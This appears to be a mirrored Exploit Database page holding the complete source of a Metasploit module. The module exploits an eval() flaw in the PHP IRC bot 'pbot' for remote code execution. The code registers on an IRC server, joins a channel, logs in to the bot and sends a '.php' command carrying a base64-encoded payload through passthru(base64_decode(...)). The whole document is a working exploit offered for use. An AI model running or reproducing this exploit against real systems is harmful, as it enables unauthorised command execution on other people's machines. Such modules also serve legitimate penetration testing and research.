PHP IRC Bot pbot – ‘eval()’ Remote Code Execution (Metasploit)

• Exploit Database
• 12 阅读

• 作者： Metasploit
  日期： 2012-08-08
• 类别：

  • remote
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/20354/

• ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # web site for more information on licensing and terms of use.
  # http://metasploit.com/
  ##
  
  require 'msf/core'
  
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = ExcellentRanking
  
  	include Msf::Exploit::Remote::Tcp
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'PHP IRC Bot pbot eval() Remote Code Execution',
  			'Description'=> %q{
  					This module allows remote command execution on the PHP IRC bot pbot by abusing
  				the usage of eval() in the implementation of the .php command. In order to work,
  				the data to connect to the IRC server and channel where find pbot must be provided.
  				The module has been successfully tested on the version of pbot analyzed by Jay
  				Turla, and published on Infosec Institute, running over Ubuntu 10.04 and Windows XP
  				SP3.
  				},
  			'Author' =>
  				[
  					'evilcry', # pbot analysis'
  					'Jay Turla', # pbot analysis
  					'@bwallHatesTwits', # PoC
  					'juan vazquez' # Metasploit module
  				],
  			'License'=> MSF_LICENSE,
  			'References' =>
  				[
  					[ 'EDB', '20168' ],
  					[ 'URL', 'http://offensivecomputing.net/?q=node/1417'],
  					[ 'URL', 'http://resources.infosecinstitute.com/pbot-analysis/']
  				],
  			'Platform' => [ 'unix', 'win'],
  			'Arch' => ARCH_CMD,
  			'Payload'=>
  				{
  					'Space'=> 344, # According to RFC 2812, the max length message is 512, including the cr-lf
  					'BadChars' => '',
  					'DisableNops' => true,
  					'Compat'=>
  						{
  							'PayloadType' => 'cmd',
  						}
  				},
  			'Targets'=>
  				[
  					[ 'pbot', { } ]
  				],
  			'Privileged' => false,
  			'DisclosureDate' => 'Nov 02 2009',
  			'DefaultTarget'=> 0))
  
  		register_options(
  			[
  				Opt::RPORT(6667),
  				OptString.new('IRC_PASSWORD', [false, 'IRC Connection Password', '']),
  				OptString.new('NICK', [true, 'IRC Nickname', 'msf_user']),
  				OptString.new('CHANNEL', [true, 'IRC Channel', '#channel']),
  				OptString.new('PBOT_PASSWORD', [false, 'pbot Password', ''])
  			], self.class)
  	end
  
  	def check
  		connect
  
  		response = register(sock)
  		if response =~ /463/ or response =~ /464/
  			print_error("#{rhost}:#{rport} - Connection to the IRC Server not allowed")
  			return Exploit::CheckCode::Unknown
  		end
  
  		response = join(sock)
  		if not response =~ /353/ and not response =~ /366/
  			print_error("#{rhost}:#{rport} - Error joining the #{datastore['CHANNEL']} channel")
  			return Exploit::CheckCode::Unknown
  		end
  		response = pbot_login(sock)
  		quit(sock)
  		disconnect
  
  		if response =~ /auth/ and response =~ /logged in/
  			return Exploit::CheckCode::Vulnerable
  		else
  			return Exploit::CheckCode::Safe
  		end
  	end
  
  	def send_msg(sock, data)
  		sock.put(data)
  		data = ""
  		begin
  			read_data = sock.get_once(-1, 1)
  			while not read_data.nil?
  				data << read_data
  				read_data = sock.get_once(-1, 1)
  			end
  		rescue EOFError
  		end
  		data
  	end
  
  	def register(sock)
  		msg = ""
  
  		if datastore['IRC_PASSWORD'] and not datastore['IRC_PASSWORD'].empty?
  			msg << "PASS #{datastore['IRC_PASSWORD']}\r\n"
  		end
  
  		if datastore['NICK'].length > 9
  			nick = rand_text_alpha(9)
  			print_error("The nick is longer than 9 characters, using #{nick}")
  		else
  			nick = datastore['NICK']
  		end
  
  		msg << "NICK #{nick}\r\n"
  		msg << "USER #{nick} #{Rex::Socket.source_address(rhost)} #{rhost} :#{nick}\r\n"
  
  		response = send_msg(sock,msg)
  		return response
  	end
  
  	def join(sock)
  		join_msg = "JOIN #{datastore['CHANNEL']}\r\n"
  		response = send_msg(sock, join_msg)
  		return response
  	end
  
  	def pbot_login(sock)
  		login_msg = "PRIVMSG #{datastore['CHANNEL']} :.login"
  		if datastore['PBOT_PASSWORD'] and not datastore['PBOT_PASSWORD'].empty?
  			login_msg << " #{datastore['PBOT_PASSWORD']}"
  		end
  		login_msg << "\r\n"
  		response = send_msg(sock, login_msg)
  		return response
  	end
  
  	def pbot_command(sock)
  		encoded = Rex::Text.encode_base64(payload.encoded)
  		command_msg = "PRIVMSG #{datastore['CHANNEL']} :.php #{rand_text_alpha(1)} passthru(base64_decode(\"#{encoded}\"));\r\n"
  		response = send_msg(sock, command_msg)
  		return response
  	end
  
  	def quit(sock)
  		quit_msg = "QUIT :bye bye\r\n"
  		sock.put(quit_msg)
  	end
  
  	def exploit
  		connect
  
  		print_status("#{rhost}:#{rport} - Registering with the IRC Server...")
  		response = register(sock)
  		if response =~ /463/ or response =~ /464/
  			print_error("#{rhost}:#{rport} - Connection to the IRC Server not allowed")
  			return
  		end
  
  		print_status("#{rhost}:#{rport} - Joining the #{datastore['CHANNEL']} channel...")
  		response = join(sock)
  		if not response =~ /353/ and not response =~ /366/
  			print_error("#{rhost}:#{rport} - Error joining the #{datastore['CHANNEL']} channel")
  			return
  		end
  
  		print_status("#{rhost}:#{rport} - Registering with the pbot...")
  		response = pbot_login(sock)
  		if not response =~ /auth/ or not response =~ /logged in/
  			print_error("#{rhost}:#{rport} - Error registering with the pbot")
  			return
  		end
  
  		print_status("#{rhost}:#{rport} - Exploiting the pbot...")
  		pbot_command(sock)
  
  		quit(sock)
  		disconnect
  	end
  end